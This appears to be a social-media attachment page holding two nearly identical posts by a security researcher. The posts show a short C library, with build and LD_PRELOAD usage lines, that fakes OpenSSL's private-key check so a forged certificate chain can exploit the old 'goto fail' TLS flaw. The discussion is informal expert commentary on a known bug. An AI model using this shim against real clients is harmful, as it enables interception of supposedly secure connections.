Untitled attachment

Notices where this attachment appears

1. Embed this notice
   Ryan Castellucci :nonbinary_flag: (ryanc@infosec.exchange)'s status on Friday, 02-Feb-2024 03:15:34 JST Ryan Castellucci :nonbinary_flag:

   in reply to

   @lmk @Natanox @womble

   I forgot how hilariously trivial it was.

   All one had to do was generate a private key of matching size and algorithm to use with the certificate chain, and restrict to vulnerable cipher suites.

   /*
   To build:
   gcc -shared -fPIC -o libgotofail.so gotofail.c
   To use:
   LD_PRELOAD=./libgotofail.so PROGRAM AND ARGUMENTS GO HERE
   */
   #define _GNU_SOURCE
   int X509_check_private_key(void *a, void *b) { return 1; }
   
2. Embed this notice
   Ryan Castellucci :nonbinary_flag: (ryanc@infosec.exchange)'s status on Friday, 02-Feb-2024 03:13:06 JST Ryan Castellucci :nonbinary_flag:

   in reply to

   @lmk @Natanox @womble

   I forgot how hilariously trivial it was.

   /*
   To build:
   gcc -shared -fPIC -o libgotofail.so gotofail.c
   To use:
   LD_PRELOAD=./libgotofail.so PROGRAM AND ARGUMENTS GO HERE
   */
   #define _GNU_SOURCE
   int X509_check_private_key(void *a, void *b) { return 1; }